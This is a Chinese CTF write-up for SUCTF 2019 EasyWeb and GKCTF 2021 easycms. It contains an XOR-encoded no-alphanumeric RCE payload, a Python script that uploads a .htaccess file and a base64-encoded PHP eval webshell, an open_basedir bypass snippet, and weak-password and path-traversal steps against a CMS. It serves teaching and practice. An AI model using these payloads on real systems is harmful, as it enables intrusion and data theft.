当前位置: 首页 > article >正文

学习记录1

[SUCTF 2019]EasyWeb

直接给了源代码,分析一下

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

定义了一个名为 get_the_flag 的函数。基于用户的IP地址生成一个MD5哈希值,并将其附加到目录路径中,用于创建一个唯一的用户目录。

检查是否有文件通过POST请求上传。获取上传文件的临时文件名、原始文件名以及文件扩展名。如果文件扩展名包含“ph”字符(不区分大小写),则终止程序并输出 ^_^。检查上传文件的内容,如果包含 <?(PHP代码标记),则终止程序并输出 ^_^。验证文件是否为合法的图像文件,如果不是,则终止程序并输出 ^_^

获取GET请求参数 _ 的值,并将其存储在变量 $hhh 中。如果 $hhh 为空,则显示当前文件的源代码。如果 $hhh 的长度超过18个字符,则终止程序并输出 'One inch long, one inch strong!'。

如果 $hhh 包含特定的字符(如控制字符、字母数字等),则终止程序并输出 'Try something else!'。计算 $hhh 中不同字符的数量,如果超过12种不同字符,则终止程序并输出 "Almost there!"。

很显然需要通过无字符RCE去调用上面的get_the_flag函数(长度限制导致也用不了其他的)。看到这个长度限制,可以考虑构造$_GET[]();的格式来调用,此处[]被过滤可以采用{}来替代也是一样的。

无数字字母,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过,

异或脚本:

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

运行后得到

G
%86^%c1
E
%86^%c3
T
%86^%d2
_
%86^%d9

替换即可

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

 可以看到禁用了很多函数。

还有目录。

接下来就可以考虑get_the_flag函数的内容了,该函数主要是写入文件,但是有限制,既文件名不能包含ph问价内容也不能包含<?,这里可以采用.htaccess(phpinfo页面可以看出这是apache服务器),通过其php_value auto_append_file指定文件被PHP包含,通过AddType application/x-httpd-php指定文件被解析,此外这条配置是兼容php伪协议的,所以我们可以采用php://filter伪协议进行base64编码处理,这样就能绕过对<?的检测了。

还有个文件头检测,一般都用GIF89进行绕过,但是这里会出现问题,.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337进行绕过,#在.htaccess中表示注释
所以我们的.htaccess文件内容如下: 

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"

 ljh.ahhh:

GIF89a11		#11是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

上传脚本

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://42c08927-13b5-4057-9ece-35c5441d0c52.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('ljh.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到上传路径。

upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/.htaccess
upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/ljh.ahhh 

连接蚁剑后看到

接下来就需要考虑之前phpinfo中看到的关于open_basedirdisable_function的限制了,这里新建个php文件用通用的函数组合来绕过限制。

<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
?>

涉及到bypass open_basedir的新方法具体可看bypass open_basedir的新方法 - 先知社区

得到

知道flag的位置,接着读取。

<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
echo "<hr>";
echo file_get_contents("/THis_Is_tHe_F14g");
?>

总结:

无数字字母的rce绕过,采用异或方法。文件上传绕过。绕过open_basedir。

shell.php的解释:

创建了一个名为img的目录,并切换到该目录下。

open_basedir设置为..,试图限制PHP的文件访问到父目录。然后,通过多次向上导航,是为了到达根目录(/)。

使用scandir('/')列出根目录的内容。

open_basedir

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

无论是file_get_contents函数还是highlight_file都无效.、

[GKCTF 2021]easycms

是一个蝉知的cms,先用dirsearch扫一下目录。

 扫到后台登录,尝试后是弱口令

admin      12345

登录进去以后有两种方法
一. 任意文件下载
设计——自定义——导出主题——保存

 http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

 复制下载链接。

最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc=

http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&=L2ZsYWc=

下载后是个压缩包,将文件扩展名改成.txt或者直接用notepad++打开得到flag

二. 文件上传
设计——自定义——首页——编辑,选择php源代码

保存的时候要我先创建一个cksj文件,这个文件名是每个人不一样的。

设计——组件——素材库——上传素材

 先上传一个txt文件然后编辑它的名称,改成…/…/…/…/…/system/tmp/cksj

 编辑php后返回首页得到flag


http://www.kler.cn/a/507855.html

相关文章:

  • 在 C# 中的Lambda 表达式
  • Java基础(一)
  • 关于高级工程师的想法
  • 【设计模式-结构型】装饰器模式
  • 如何在Mac上使用Brew更新Cursor应用程序
  • Linux安装Docker教程(详解)
  • 免费送源码:Java+SpringBoot+MySQL SpringBoot网上宠物领养管理系统 计算机毕业设计原创定制
  • el-table中使用el-image图片预览被其他表格遮挡,使用z-index层级设置无效
  • 从 Web3 到元宇宙:探索数字身份的奇幻演变
  • Sqlmap入门
  • OpenCV-ED绘制的使用(附源码)
  • 1.17学习记录
  • 使用Docker部署postgresql
  • Navicat For Mysql 1112 导出密码破解 python
  • PHP生产管理系统
  • 算法-最大连续1的个数
  • IntelliJ IDEA 路径问题总结:如何配置并显示当前工作目录
  • Python学习之旅:入门阶段(七)数据结构
  • 【C++】反向迭代器
  • Kotlin语言的正则表达式
  • wordpress zibll 2025款新页脚-6ke论坛
  • uni-app:动态禁止下拉列表展示情况(如果下拉列表数据为空就拦截下拉框展示,显示提示信息)
  • LeetCode 111.二叉树的最小深度
  • 【原创】大数据治理入门(1)《大数据治理入门:为什么重要?》入门必看 高赞实用
  • SpringBoot3集成Sa-Token详解
  • windows下安装并使用node.js